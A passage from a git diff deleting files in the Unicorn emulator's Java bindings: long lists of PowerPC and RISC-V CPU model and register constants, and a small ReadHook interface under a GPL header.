UC_CPU_PPC32_STB25 = 33; - public static final int UC_CPU_PPC32_X2VP4 = 34; - public static final int UC_CPU_PPC32_X2VP20 = 35; - public static final int UC_CPU_PPC32_440_XILINX = 36; - public static final int UC_CPU_PPC32_440_XILINX_W_DFPU = 37; - public static final int UC_CPU_PPC32_440EPA = 38; - public static final int UC_CPU_PPC32_440EPB = 39; - public static final int UC_CPU_PPC32_440EPX = 40; - public static final int UC_CPU_PPC32_460EXB = 41; - public static final int UC_CPU_PPC32_G2 = 42; - public static final int UC_CPU_PPC32_G2H4 = 43; - public static final int UC_CPU_PPC32_G2GP = 44; - public static final int UC_CPU_PPC32_G2LS = 45; - public static final int UC_CPU_PPC32_G2HIP3 = 46; - public static final int UC_CPU_PPC32_G2HIP4 = 47; - public static final int UC_CPU_PPC32_MPC603 = 48; - public static final int UC_CPU_PPC32_G2LE = 49; - public static final int UC_CPU_PPC32_G2LEGP = 50; - public static final int UC_CPU_PPC32_G2LELS = 51; - public static final int UC_CPU_PPC32_G2LEGP1 = 52; - public static final int UC_CPU_PPC32_G2LEGP3 = 53; - public static final int UC_CPU_PPC32_MPC5200_V10 = 54; - public static final int UC_CPU_PPC32_MPC5200_V11 = 55; - public static final int UC_CPU_PPC32_MPC5200_V12 = 56; - public static final int UC_CPU_PPC32_MPC5200B_V20 = 57; - public static final int UC_CPU_PPC32_MPC5200B_V21 = 58; - public static final int UC_CPU_PPC32_E200Z5 = 59; - public static final int UC_CPU_PPC32_E200Z6 = 60; - public static final int UC_CPU_PPC32_E300C1 = 61; - public static final int UC_CPU_PPC32_E300C2 = 62; - public static final int UC_CPU_PPC32_E300C3 = 63; - public static final int UC_CPU_PPC32_E300C4 = 64; - public static final int UC_CPU_PPC32_MPC8343 = 65; - public static final int UC_CPU_PPC32_MPC8343A = 66; - public static final int UC_CPU_PPC32_MPC8343E = 67; - public static final int UC_CPU_PPC32_MPC8343EA = 68; - public static final int UC_CPU_PPC32_MPC8347T = 69; - public static final int UC_CPU_PPC32_MPC8347P = 70; - public static final int UC_CPU_PPC32_MPC8347AT = 71; - public static final int UC_CPU_PPC32_MPC8347AP = 72; - public static final int UC_CPU_PPC32_MPC8347ET = 73; - public static final int UC_CPU_PPC32_MPC8347EP = 74; - public static final int UC_CPU_PPC32_MPC8347EAT = 75; - public static final int UC_CPU_PPC32_MPC8347EAP = 76; - public static final int UC_CPU_PPC32_MPC8349 = 77; - public static final int UC_CPU_PPC32_MPC8349A = 78; - public static final int UC_CPU_PPC32_MPC8349E = 79; - public static final int UC_CPU_PPC32_MPC8349EA = 80; - public static final int UC_CPU_PPC32_MPC8377 = 81; - public static final int UC_CPU_PPC32_MPC8377E = 82; - public static final int UC_CPU_PPC32_MPC8378 = 83; - public static final int UC_CPU_PPC32_MPC8378E = 84; - public static final int UC_CPU_PPC32_MPC8379 = 85; - public static final int UC_CPU_PPC32_MPC8379E = 86; - public static final int UC_CPU_PPC32_E500_V10 = 87; - public static final int UC_CPU_PPC32_E500_V20 = 88; - public static final int UC_CPU_PPC32_E500V2_V10 = 89; - public static final int UC_CPU_PPC32_E500V2_V20 = 90; - public static final int UC_CPU_PPC32_E500V2_V21 = 91; - public static final int UC_CPU_PPC32_E500V2_V22 = 92; - public static final int UC_CPU_PPC32_E500V2_V30 = 93; - public static final int UC_CPU_PPC32_E500MC = 94; - public static final int UC_CPU_PPC32_MPC8533_V10 = 95; - public static final int UC_CPU_PPC32_MPC8533_V11 = 96; - public static final int UC_CPU_PPC32_MPC8533E_V10 = 97; - public static final int UC_CPU_PPC32_MPC8533E_V11 = 98; - public static final int UC_CPU_PPC32_MPC8540_V10 = 99; - public static final int UC_CPU_PPC32_MPC8540_V20 = 100; - public static final int UC_CPU_PPC32_MPC8540_V21 = 101; - public static final int UC_CPU_PPC32_MPC8541_V10 = 102; - public static final int UC_CPU_PPC32_MPC8541_V11 = 103; - public static final int UC_CPU_PPC32_MPC8541E_V10 = 104; - public static final int UC_CPU_PPC32_MPC8541E_V11 = 105; - public static final int UC_CPU_PPC32_MPC8543_V10 = 106; - public static final int UC_CPU_PPC32_MPC8543_V11 = 107; - public static final int UC_CPU_PPC32_MPC8543_V20 = 108; - public static final int UC_CPU_PPC32_MPC8543_V21 = 109; - public static final int UC_CPU_PPC32_MPC8543E_V10 = 110; - public static final int UC_CPU_PPC32_MPC8543E_V11 = 111; - public static final int UC_CPU_PPC32_MPC8543E_V20 = 112; - public static final int UC_CPU_PPC32_MPC8543E_V21 = 113; - public static final int UC_CPU_PPC32_MPC8544_V10 = 114; - public static final int UC_CPU_PPC32_MPC8544_V11 = 115; - public static final int UC_CPU_PPC32_MPC8544E_V10 = 116; - public static final int UC_CPU_PPC32_MPC8544E_V11 = 117; - public static final int UC_CPU_PPC32_MPC8545_V20 = 118; - public static final int UC_CPU_PPC32_MPC8545_V21 = 119; - public static final int UC_CPU_PPC32_MPC8545E_V20 = 120; - public static final int UC_CPU_PPC32_MPC8545E_V21 = 121; - public static final int UC_CPU_PPC32_MPC8547E_V20 = 122; - public static final int UC_CPU_PPC32_MPC8547E_V21 = 123; - public static final int UC_CPU_PPC32_MPC8548_V10 = 124; - public static final int UC_CPU_PPC32_MPC8548_V11 = 125; - public static final int UC_CPU_PPC32_MPC8548_V20 = 126; - public static final int UC_CPU_PPC32_MPC8548_V21 = 127; - public static final int UC_CPU_PPC32_MPC8548E_V10 = 128; - public static final int UC_CPU_PPC32_MPC8548E_V11 = 129; - public static final int UC_CPU_PPC32_MPC8548E_V20 = 130; - public static final int UC_CPU_PPC32_MPC8548E_V21 = 131; - public static final int UC_CPU_PPC32_MPC8555_V10 = 132; - public static final int UC_CPU_PPC32_MPC8555_V11 = 133; - public static final int UC_CPU_PPC32_MPC8555E_V10 = 134; - public static final int UC_CPU_PPC32_MPC8555E_V11 = 135; - public static final int UC_CPU_PPC32_MPC8560_V10 = 136; - public static final int UC_CPU_PPC32_MPC8560_V20 = 137; - public static final int UC_CPU_PPC32_MPC8560_V21 = 138; - public static final int UC_CPU_PPC32_MPC8567 = 139; - public static final int UC_CPU_PPC32_MPC8567E = 140; - public static final int UC_CPU_PPC32_MPC8568 = 141; - public static final int UC_CPU_PPC32_MPC8568E = 142; - public static final int UC_CPU_PPC32_MPC8572 = 143; - public static final int UC_CPU_PPC32_MPC8572E = 144; - public static final int UC_CPU_PPC32_E600 = 145; - public static final int UC_CPU_PPC32_MPC8610 = 146; - public static final int UC_CPU_PPC32_MPC8641 = 147; - public static final int UC_CPU_PPC32_MPC8641D = 148; - public static final int UC_CPU_PPC32_601_V0 = 149; - public static final int UC_CPU_PPC32_601_V1 = 150; - public static final int UC_CPU_PPC32_601_V2 = 151; - public static final int UC_CPU_PPC32_602 = 152; - public static final int UC_CPU_PPC32_603 = 153; - public static final int UC_CPU_PPC32_603E_V1_1 = 154; - public static final int UC_CPU_PPC32_603E_V1_2 = 155; - public static final int UC_CPU_PPC32_603E_V1_3 = 156; - public static final int UC_CPU_PPC32_603E_V1_4 = 157; - public static final int UC_CPU_PPC32_603E_V2_2 = 158; - public static final int UC_CPU_PPC32_603E_V3 = 159; - public static final int UC_CPU_PPC32_603E_V4 = 160; - public static final int UC_CPU_PPC32_603E_V4_1 = 161; - public static final int UC_CPU_PPC32_603E7 = 162; - public static final int UC_CPU_PPC32_603E7T = 163; - public static final int UC_CPU_PPC32_603E7V = 164; - public static final int UC_CPU_PPC32_603E7V1 = 165; - public static final int UC_CPU_PPC32_603E7V2 = 166; - public static final int UC_CPU_PPC32_603P = 167; - public static final int UC_CPU_PPC32_604 = 168; - public static final int UC_CPU_PPC32_604E_V1_0 = 169; - public static final int UC_CPU_PPC32_604E_V2_2 = 170; - public static final int UC_CPU_PPC32_604E_V2_4 = 171; - public static final int UC_CPU_PPC32_604R = 172; - public static final int UC_CPU_PPC32_740_V1_0 = 173; - public static final int UC_CPU_PPC32_750_V1_0 = 174; - public static final int UC_CPU_PPC32_740_V2_0 = 175; - public static final int UC_CPU_PPC32_750_V2_0 = 176; - public static final int UC_CPU_PPC32_740_V2_1 = 177; - public static final int UC_CPU_PPC32_750_V2_1 = 178; - public static final int UC_CPU_PPC32_740_V2_2 = 179; - public static final int UC_CPU_PPC32_750_V2_2 = 180; - public static final int UC_CPU_PPC32_740_V3_0 = 181; - public static final int UC_CPU_PPC32_750_V3_0 = 182; - public static final int UC_CPU_PPC32_740_V3_1 = 183; - public static final int UC_CPU_PPC32_750_V3_1 = 184; - public static final int UC_CPU_PPC32_740E = 185; - public static final int UC_CPU_PPC32_750E = 186; - public static final int UC_CPU_PPC32_740P = 187; - public static final int UC_CPU_PPC32_750P = 188; - public static final int UC_CPU_PPC32_750CL_V1_0 = 189; - public static final int UC_CPU_PPC32_750CL_V2_0 = 190; - public static final int UC_CPU_PPC32_750CX_V1_0 = 191; - public static final int UC_CPU_PPC32_750CX_V2_0 = 192; - public static final int UC_CPU_PPC32_750CX_V2_1 = 193; - public static final int UC_CPU_PPC32_750CX_V2_2 = 194; - public static final int UC_CPU_PPC32_750CXE_V2_1 = 195; - public static final int UC_CPU_PPC32_750CXE_V2_2 = 196; - public static final int UC_CPU_PPC32_750CXE_V2_3 = 197; - public static final int UC_CPU_PPC32_750CXE_V2_4 = 198; - public static final int UC_CPU_PPC32_750CXE_V2_4B = 199; - public static final int UC_CPU_PPC32_750CXE_V3_0 = 200; - public static final int UC_CPU_PPC32_750CXE_V3_1 = 201; - public static final int UC_CPU_PPC32_750CXE_V3_1B = 202; - public static final int UC_CPU_PPC32_750CXR = 203; - public static final int UC_CPU_PPC32_750FL = 204; - public static final int UC_CPU_PPC32_750FX_V1_0 = 205; - public static final int UC_CPU_PPC32_750FX_V2_0 = 206; - public static final int UC_CPU_PPC32_750FX_V2_1 = 207; - public static final int UC_CPU_PPC32_750FX_V2_2 = 208; - public static final int UC_CPU_PPC32_750FX_V2_3 = 209; - public static final int UC_CPU_PPC32_750GL = 210; - public static final int UC_CPU_PPC32_750GX_V1_0 = 211; - public static final int UC_CPU_PPC32_750GX_V1_1 = 212; - public static final int UC_CPU_PPC32_750GX_V1_2 = 213; - public static final int UC_CPU_PPC32_750L_V2_0 = 214; - public static final int UC_CPU_PPC32_750L_V2_1 = 215; - public static final int UC_CPU_PPC32_750L_V2_2 = 216; - public static final int UC_CPU_PPC32_750L_V3_0 = 217; - public static final int UC_CPU_PPC32_750L_V3_2 = 218; - public static final int UC_CPU_PPC32_745_V1_0 = 219; - public static final int UC_CPU_PPC32_755_V1_0 = 220; - public static final int UC_CPU_PPC32_745_V1_1 = 221; - public static final int UC_CPU_PPC32_755_V1_1 = 222; - public static final int UC_CPU_PPC32_745_V2_0 = 223; - public static final int UC_CPU_PPC32_755_V2_0 = 224; - public static final int UC_CPU_PPC32_745_V2_1 = 225; - public static final int UC_CPU_PPC32_755_V2_1 = 226; - public static final int UC_CPU_PPC32_745_V2_2 = 227; - public static final int UC_CPU_PPC32_755_V2_2 = 228; - public static final int UC_CPU_PPC32_745_V2_3 = 229; - public static final int UC_CPU_PPC32_755_V2_3 = 230; - public static final int UC_CPU_PPC32_745_V2_4 = 231; - public static final int UC_CPU_PPC32_755_V2_4 = 232; - public static final int UC_CPU_PPC32_745_V2_5 = 233; - public static final int UC_CPU_PPC32_755_V2_5 = 234; - public static final int UC_CPU_PPC32_745_V2_6 = 235; - public static final int UC_CPU_PPC32_755_V2_6 = 236; - public static final int UC_CPU_PPC32_745_V2_7 = 237; - public static final int UC_CPU_PPC32_755_V2_7 = 238; - public static final int UC_CPU_PPC32_745_V2_8 = 239; - public static final int UC_CPU_PPC32_755_V2_8 = 240; - public static final int UC_CPU_PPC32_7400_V1_0 = 241; - public static final int UC_CPU_PPC32_7400_V1_1 = 242; - public static final int UC_CPU_PPC32_7400_V2_0 = 243; - public static final int UC_CPU_PPC32_7400_V2_1 = 244; - public static final int UC_CPU_PPC32_7400_V2_2 = 245; - public static final int UC_CPU_PPC32_7400_V2_6 = 246; - public static final int UC_CPU_PPC32_7400_V2_7 = 247; - public static final int UC_CPU_PPC32_7400_V2_8 = 248; - public static final int UC_CPU_PPC32_7400_V2_9 = 249; - public static final int UC_CPU_PPC32_7410_V1_0 = 250; - public static final int UC_CPU_PPC32_7410_V1_1 = 251; - public static final int UC_CPU_PPC32_7410_V1_2 = 252; - public static final int UC_CPU_PPC32_7410_V1_3 = 253; - public static final int UC_CPU_PPC32_7410_V1_4 = 254; - public static final int UC_CPU_PPC32_7448_V1_0 = 255; - public static final int UC_CPU_PPC32_7448_V1_1 = 256; - public static final int UC_CPU_PPC32_7448_V2_0 = 257; - public static final int UC_CPU_PPC32_7448_V2_1 = 258; - public static final int UC_CPU_PPC32_7450_V1_0 = 259; - public static final int UC_CPU_PPC32_7450_V1_1 = 260; - public static final int UC_CPU_PPC32_7450_V1_2 = 261; - public static final int UC_CPU_PPC32_7450_V2_0 = 262; - public static final int UC_CPU_PPC32_7450_V2_1 = 263; - public static final int UC_CPU_PPC32_7441_V2_1 = 264; - public static final int UC_CPU_PPC32_7441_V2_3 = 265; - public static final int UC_CPU_PPC32_7451_V2_3 = 266; - public static final int UC_CPU_PPC32_7441_V2_10 = 267; - public static final int UC_CPU_PPC32_7451_V2_10 = 268; - public static final int UC_CPU_PPC32_7445_V1_0 = 269; - public static final int UC_CPU_PPC32_7455_V1_0 = 270; - public static final int UC_CPU_PPC32_7445_V2_1 = 271; - public static final int UC_CPU_PPC32_7455_V2_1 = 272; - public static final int UC_CPU_PPC32_7445_V3_2 = 273; - public static final int UC_CPU_PPC32_7455_V3_2 = 274; - public static final int UC_CPU_PPC32_7445_V3_3 = 275; - public static final int UC_CPU_PPC32_7455_V3_3 = 276; - public static final int UC_CPU_PPC32_7445_V3_4 = 277; - public static final int UC_CPU_PPC32_7455_V3_4 = 278; - public static final int UC_CPU_PPC32_7447_V1_0 = 279; - public static final int UC_CPU_PPC32_7457_V1_0 = 280; - public static final int UC_CPU_PPC32_7447_V1_1 = 281; - public static final int UC_CPU_PPC32_7457_V1_1 = 282; - public static final int UC_CPU_PPC32_7457_V1_2 = 283; - public static final int UC_CPU_PPC32_7447A_V1_0 = 284; - public static final int UC_CPU_PPC32_7457A_V1_0 = 285; - public static final int UC_CPU_PPC32_7447A_V1_1 = 286; - public static final int UC_CPU_PPC32_7457A_V1_1 = 287; - public static final int UC_CPU_PPC32_7447A_V1_2 = 288; - public static final int UC_CPU_PPC32_7457A_V1_2 = 289; - public static final int UC_CPU_PPC32_ENDING = 290; - -// PPC64 CPU - - public static final int UC_CPU_PPC64_E5500 = 0; - public static final int UC_CPU_PPC64_E6500 = 1; - public static final int UC_CPU_PPC64_970_V2_2 = 2; - public static final int UC_CPU_PPC64_970FX_V1_0 = 3; - public static final int UC_CPU_PPC64_970FX_V2_0 = 4; - public static final int UC_CPU_PPC64_970FX_V2_1 = 5; - public static final int UC_CPU_PPC64_970FX_V3_0 = 6; - public static final int UC_CPU_PPC64_970FX_V3_1 = 7; - public static final int UC_CPU_PPC64_970MP_V1_0 = 8; - public static final int UC_CPU_PPC64_970MP_V1_1 = 9; - public static final int UC_CPU_PPC64_POWER5_V2_1 = 10; - public static final int UC_CPU_PPC64_POWER7_V2_3 = 11; - public static final int UC_CPU_PPC64_POWER7_V2_1 = 12; - public static final int UC_CPU_PPC64_POWER8E_V2_1 = 13; - public static final int UC_CPU_PPC64_POWER8_V2_0 = 14; - public static final int UC_CPU_PPC64_POWER8NVL_V1_0 = 15; - public static final int UC_CPU_PPC64_POWER9_V1_0 = 16; - public static final int UC_CPU_PPC64_POWER9_V2_0 = 17; - public static final int UC_CPU_PPC64_POWER10_V1_0 = 18; - public static final int UC_CPU_PPC64_ENDING = 19; - -// PPC registers - - public static final int UC_PPC_REG_INVALID = 0; - -// General purpose registers - public static final int UC_PPC_REG_PC = 1; - public static final int UC_PPC_REG_0 = 2; - public static final int UC_PPC_REG_1 = 3; - public static final int UC_PPC_REG_2 = 4; - public static final int UC_PPC_REG_3 = 5; - public static final int UC_PPC_REG_4 = 6; - public static final int UC_PPC_REG_5 = 7; - public static final int UC_PPC_REG_6 = 8; - public static final int UC_PPC_REG_7 = 9; - public static final int UC_PPC_REG_8 = 10; - public static final int UC_PPC_REG_9 = 11; - public static final int UC_PPC_REG_10 = 12; - public static final int UC_PPC_REG_11 = 13; - public static final int UC_PPC_REG_12 = 14; - public static final int UC_PPC_REG_13 = 15; - public static final int UC_PPC_REG_14 = 16; - public static final int UC_PPC_REG_15 = 17; - public static final int UC_PPC_REG_16 = 18; - public static final int UC_PPC_REG_17 = 19; - public static final int UC_PPC_REG_18 = 20; - public static final int UC_PPC_REG_19 = 21; - public static final int UC_PPC_REG_20 = 22; - public static final int UC_PPC_REG_21 = 23; - public static final int UC_PPC_REG_22 = 24; - public static final int UC_PPC_REG_23 = 25; - public static final int UC_PPC_REG_24 = 26; - public static final int UC_PPC_REG_25 = 27; - public static final int UC_PPC_REG_26 = 28; - public static final int UC_PPC_REG_27 = 29; - public static final int UC_PPC_REG_28 = 30; - public static final int UC_PPC_REG_29 = 31; - public static final int UC_PPC_REG_30 = 32; - public static final int UC_PPC_REG_31 = 33; - public static final int UC_PPC_REG_CR0 = 34; - public static final int UC_PPC_REG_CR1 = 35; - public static final int UC_PPC_REG_CR2 = 36; - public static final int UC_PPC_REG_CR3 = 37; - public static final int UC_PPC_REG_CR4 = 38; - public static final int UC_PPC_REG_CR5 = 39; - public static final int UC_PPC_REG_CR6 = 40; - public static final int UC_PPC_REG_CR7 = 41; - public static final int UC_PPC_REG_FPR0 = 42; - public static final int UC_PPC_REG_FPR1 = 43; - public static final int UC_PPC_REG_FPR2 = 44; - public static final int UC_PPC_REG_FPR3 = 45; - public static final int UC_PPC_REG_FPR4 = 46; - public static final int UC_PPC_REG_FPR5 = 47; - public static final int UC_PPC_REG_FPR6 = 48; - public static final int UC_PPC_REG_FPR7 = 49; - public static final int UC_PPC_REG_FPR8 = 50; - public static final int UC_PPC_REG_FPR9 = 51; - public static final int UC_PPC_REG_FPR10 = 52; - public static final int UC_PPC_REG_FPR11 = 53; - public static final int UC_PPC_REG_FPR12 = 54; - public static final int UC_PPC_REG_FPR13 = 55; - public static final int UC_PPC_REG_FPR14 = 56; - public static final int UC_PPC_REG_FPR15 = 57; - public static final int UC_PPC_REG_FPR16 = 58; - public static final int UC_PPC_REG_FPR17 = 59; - public static final int UC_PPC_REG_FPR18 = 60; - public static final int UC_PPC_REG_FPR19 = 61; - public static final int UC_PPC_REG_FPR20 = 62; - public static final int UC_PPC_REG_FPR21 = 63; - public static final int UC_PPC_REG_FPR22 = 64; - public static final int UC_PPC_REG_FPR23 = 65; - public static final int UC_PPC_REG_FPR24 = 66; - public static final int UC_PPC_REG_FPR25 = 67; - public static final int UC_PPC_REG_FPR26 = 68; - public static final int UC_PPC_REG_FPR27 = 69; - public static final int UC_PPC_REG_FPR28 = 70; - public static final int UC_PPC_REG_FPR29 = 71; - public static final int UC_PPC_REG_FPR30 = 72; - public static final int UC_PPC_REG_FPR31 = 73; - public static final int UC_PPC_REG_LR = 74; - public static final int UC_PPC_REG_XER = 75; - public static final int UC_PPC_REG_CTR = 76; - public static final int UC_PPC_REG_MSR = 77; - public static final int UC_PPC_REG_FPSCR = 78; - public static final int UC_PPC_REG_CR = 79; - public static final int UC_PPC_REG_ENDING = 80; - -} diff --git a/bindings/java/unicorn/ReadHook.java b/bindings/java/unicorn/ReadHook.java deleted file mode 100644 index d522a63fc0..0000000000 --- a/bindings/java/unicorn/ReadHook.java +++ /dev/null @@ -1,29 +0,0 @@ -/* - -Java bindings for the Unicorn Emulator Engine - -Copyright(c) 2015 Chris Eagle - -This program is free software; you can redistribute it and/or -modify it under the terms of the GNU General Public License -version 2 as published by the Free Software Foundation. - -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program; if not, write to the Free Software -Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. - -*/ - -package unicorn; - -public interface ReadHook extends Hook { - - public void hook(Unicorn u, long address, int size, Object user); - -} - diff --git a/bindings/java/unicorn/RiscvConst.java b/bindings/java/unicorn/RiscvConst.java deleted file mode 100644 index 17a178255e..0000000000 --- a/bindings/java/unicorn/RiscvConst.java +++ /dev/null @@ -1,291 +0,0 @@ -// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT - -package unicorn; - -public interface RiscvConst { - -// RISCV32 CPU - - public static final int UC_CPU_RISCV32_ANY = 0; - public static final int UC_CPU_RISCV32_BASE32 = 1; - public static final int UC_CPU_RISCV32_SIFIVE_E31 = 2; - public static final int UC_CPU_RISCV32_SIFIVE_U34 = 3; - public static final int UC_CPU_RISCV32_ENDING = 4; - -// RISCV64 CPU - - public static final int UC_CPU_RISCV64_ANY = 0; - public static final int UC_CPU_RISCV64_BASE64 = 1; - public static final int UC_CPU_RISCV64_SIFIVE_E51 = 2; - public static final int UC_CPU_RISCV64_SIFIVE_U54 = 3; - public static final int UC_CPU_RISCV64_ENDING = 4; - -// RISCV registers - - public static final int UC_RISCV_REG_INVALID = 0; - -// General purpose registers - public static final int UC_RISCV_REG_X0 = 1; - public static final int UC_RISCV_REG_X1 = 2; - public static final int UC_RISCV_REG_X2 = 3; - public static final int UC_RISCV_REG_X3 = 4; - public static final int UC_RISCV_REG_X4 = 5; - public static final int UC_RISCV_REG_X5 = 6; - public static final int UC_RISCV_REG_X6 = 7; - public static final int UC_RISCV_REG_X7 = 8; - public static final int UC_RISCV_REG_X8 = 9; - public static final int UC_RISCV_REG_X9 = 10; - public static final int UC_RISCV_REG_X10 = 11; - public static final int UC_RISCV_REG_X11 = 12; - public static final int UC_RISCV_REG_X12 = 13; - public static final int UC_RISCV_REG_X13 = 14; - public static final int UC_RISCV_REG_X14 = 15; - public static final int UC_RISCV_REG_X15 = 16; - public static final int UC_RISCV_REG_X16 = 17; - public static final int UC_RISCV_REG_X17 = 18; - public static final int UC_RISCV_REG_X18 = 19; - public static final int UC_RISCV_REG_X19 = 20; - public static final int UC_RISCV_REG_X20 = 21; - public static final int UC_RISCV_REG_X21 = 22; - public static final int UC_RISCV_REG_X22 = 23; - public static final int UC_RISCV_REG_X23 = 24; - public static final int UC_RISCV_REG_X24 = 25; - public static final int UC_RISCV_REG_X25 = 26; - public static final int UC_RISCV_REG_X26 = 27; - public static final int UC_RISCV_REG_X27 = 28; - public static final int UC_RISCV_REG_X28 = 29; - public static final int UC_RISCV_REG_X29 = 30; - public static final int UC_RISCV_REG_X30 = 31; - public static final int UC_RISCV_REG_X31 = 32; - -// RISCV CSR - public static final int UC_RISCV_REG_USTATUS = 33; - public static final int UC_RISCV_REG_UIE = 34; - public static final int UC_RISCV_REG_UTVEC = 35; - public static final int UC_RISCV_REG_USCRATCH = 36; - public static final int UC_RISCV_REG_UEPC = 37; - public static final int UC_RISCV_REG_UCAUSE = 38; - public static final int UC_RISCV_REG_UTVAL = 39; - public static final int UC_RISCV_REG_UIP = 40; - public static final int UC_RISCV_REG_FFLAGS = 41; - public static final int UC_RISCV_REG_FRM = 42; - public static final int UC_RISCV_REG_FCSR = 43; - public static final int UC_RISCV_REG_CYCLE = 44; - public static final int UC_RISCV_REG_TIME = 45; - public static final int UC_RISCV_REG_INSTRET = 46; - public static final int UC_RISCV_REG_HPMCOUNTER3 = 47; - public static final int UC_RISCV_REG_HPMCOUNTER4 = 48; - public static final int UC_RISCV_REG_HPMCOUNTER5 = 49; - public static final int UC_RISCV_REG_HPMCOUNTER6 = 50; - public static final int UC_RISCV_REG_HPMCOUNTER7 = 51; - public static final int UC_RISCV_REG_HPMCOUNTER8 = 52; - public static final int UC_RISCV_REG_HPMCOUNTER9 = 53; - public static final int UC_RISCV_REG_HPMCOUNTER10 = 54; - public static final int UC_RISCV_REG_HPMCOUNTER11 = 55; - public static final int UC_RISCV_REG_HPMCOUNTER12 = 56; - public static final int UC_RISCV_REG_HPMCOUNTER13 = 57; - public static final int UC_RISCV_REG_HPMCOUNTER14 = 58; - public static final int UC_RISCV_REG_HPMCOUNTER15 = 59; - public static final int UC_RISCV_REG_HPMCOUNTER16 = 60; - public static final int UC_RISCV_REG_HPMCOUNTER17 = 61; - public static final int UC_RISCV_REG_HPMCOUNTER18 = 62; - public static final int UC_RISCV_REG_HPMCOUNTER19 = 63; - public static final int UC_RISCV_REG_HPMCOUNTER20 = 64; - public static final int UC_RISCV_REG_HPMCOUNTER21 = 65; - public static final int UC_RISCV_REG_HPMCOUNTER22 = 66; - public static final int UC_RISCV_REG_HPMCOUNTER23 = 67; - public static final int UC_RISCV_REG_HPMCOUNTER24 = 68; - public static final int UC_RISCV_REG_HPMCOUNTER25 = 69; - public static final int UC_RISCV_REG_HPMCOUNTER26 = 70; - public static final int UC_RISCV_REG_HPMCOUNTER27 = 71; - public static final int UC_RISCV_REG_HPMCOUNTER28 = 72; - public static final int UC_RISCV_REG_HPMCOUNTER29 = 73; - public static final int UC_RISCV_REG_HPMCOUNTER30 = 74; - public static final int UC_RISCV_REG_HPMCOUNTER31 = 75; - public static final int UC_RISCV_REG_CYCLEH = 76; - public static final int UC_RISCV_REG_TIMEH = 77; - public static final int UC_RISCV_REG_INSTRETH = 78; - public static final int UC_RISCV_REG_HPMCOUNTER3H = 79; - public static final int UC_RISCV_REG_HPMCOUNTER4H = 80; - public static final int UC_RISCV_REG_HPMCOUNTER5H = 81; - public static final int UC_RISCV_REG_HPMCOUNTER6H = 82; - public static final int UC_RISCV_REG_HPMCOUNTER7H = 83; - public static final int UC_RISCV_REG_HPMCOUNTER8H = 84; - public static final int UC_RISCV_REG_HPMCOUNTER9H = 85; - public static final int UC_RISCV_REG_HPMCOUNTER10H = 86; - public static final int UC_RISCV_REG_HPMCOUNTER11H = 87; - public static final int UC_RISCV_REG_HPMCOUNTER12H = 88; - public static final int UC_RISCV_REG_HPMCOUNTER13H = 89; - public static final int UC_RISCV_REG_HPMCOUNTER14H = 90; - public static final int UC_RISCV_REG_HPMCOUNTER15H = 91; - public static final int UC_RISCV_REG_HPMCOUNTER16H = 92; - public static final int UC_RISCV_REG_HPMCOUNTER17H = 93; - public static final int UC_RISCV_REG_HPMCOUNTER18H = 94; - public static final int UC_RISCV_REG_HPMCOUNTER19H = 95; - public static final int UC_RISCV_REG_HPMCOUNTER20H = 96; - public static final int UC_RISCV_REG_HPMCOUNTER21H = 97; - public static final int UC_RISCV_REG_HPMCOUNTER22H = 98; - public static final int UC_RISCV_REG_HPMCOUNTER23H = 99; - public static final int UC_RISCV_REG_HPMCOUNTER24H = 100; - public static final int UC_RISCV_REG_HPMCOUNTER25H = 101; - public static final int UC_RISCV_REG_HPMCOUNTER26H = 102; - public static final int UC_RISCV_REG_HPMCOUNTER27H = 103; - public static final int UC_RISCV_REG_HPMCOUNTER28H = 104; - public static final int UC_RISCV_REG_HPMCOUNTER29H = 105; - public static final int UC_RISCV_REG_HPMCOUNTER30H = 106; - public static final int UC_RISCV_REG_HPMCOUNTER31H = 107; - public static final int UC_RISCV_REG_MCYCLE = 108; - public static final int UC_RISCV_REG_MINSTRET = 109; - public static final int UC_RISCV_REG_MCYCLEH = 110; - public static final int UC_RISCV_REG_MINSTRETH = 111; - public static final int UC_RISCV_REG_MVENDORID = 112; - public static final int UC_RISCV_REG_MARCHID = 113; - public static final int UC_RISCV_REG_MIMPID = 114; - public static final int UC_RISCV_REG_MHARTID = 115; - public static final int UC_RISCV_REG_MSTATUS = 116; - public static final int UC_RISCV_REG_MISA = 117; - public static final int UC_RISCV_REG_MEDELEG = 118; - public static final int UC_RISCV_REG_MIDELEG = 119; - public static final int UC_RISCV_REG_MIE = 120; - public static final int UC_RISCV_REG_MTVEC = 121; - public static final int UC_RISCV_REG_MCOUNTEREN = 122; - public static final int UC_RISCV_REG_MSTATUSH = 123; - public static final int UC_RISCV_REG_MUCOUNTEREN = 124; - public static final int UC_RISCV_REG_MSCOUNTEREN = 125; - public static final int UC_RISCV_REG_MHCOUNTEREN = 126; - public static final int UC_RISCV_REG_MSCRATCH = 127; - public static final int UC_RISCV_REG_MEPC = 128; - public static final int UC_RISCV_REG_MCAUSE = 129; - public static final int UC_RISCV_REG_MTVAL = 130; - public static final int UC_RISCV_REG_MIP = 131; - public static final int UC_RISCV_REG_MBADADDR = 132; - public static final int UC_RISCV_REG_SSTATUS = 133; - public static final int UC_RISCV_REG_SEDELEG = 134; - public static final int UC_RISCV_REG_SIDELEG = 135; - public static final int UC_RISCV_REG_SIE = 136; - public static final int UC_RISCV_REG_STVEC = 137; - public static final int UC_RISCV_REG_SCOUNTEREN = 138; - public static final int UC_RISCV_REG_SSCRATCH = 139; - public static final int UC_RISCV_REG_SEPC = 140; - public static final int UC_RISCV_REG_SCAUSE = 141; - public static final int UC_RISCV_REG_STVAL = 142; - public static final int UC_RISCV_REG_SIP = 143; - public static final int UC_RISCV_REG_SBADADDR = 144; - public static final int UC_RISCV_REG_SPTBR = 145; - public static final int UC_RISCV_REG_SATP = 146; - public static final int UC_RISCV_REG_HSTATUS = 147; - public static final int UC_RISCV_REG_HEDELEG = 148; - public static final int UC_RISCV_REG_HIDELEG = 149; - public static final int UC_RISCV_REG_HIE = 150; - public static final int UC_RISCV_REG_HCOUNTEREN = 151; - public static final int UC_RISCV_REG_HTVAL = 152; - public static final int UC_RISCV_REG_HIP = 153; - public static final int UC_RISCV_REG_HTINST = 154; - public static final int UC_RISCV_REG_HGATP = 155; - public static final int UC_RISCV_REG_HTIMEDELTA = 156; - public static final int UC_RISCV_REG_HTIMEDELTAH = 157; - -// Floating-point registers - 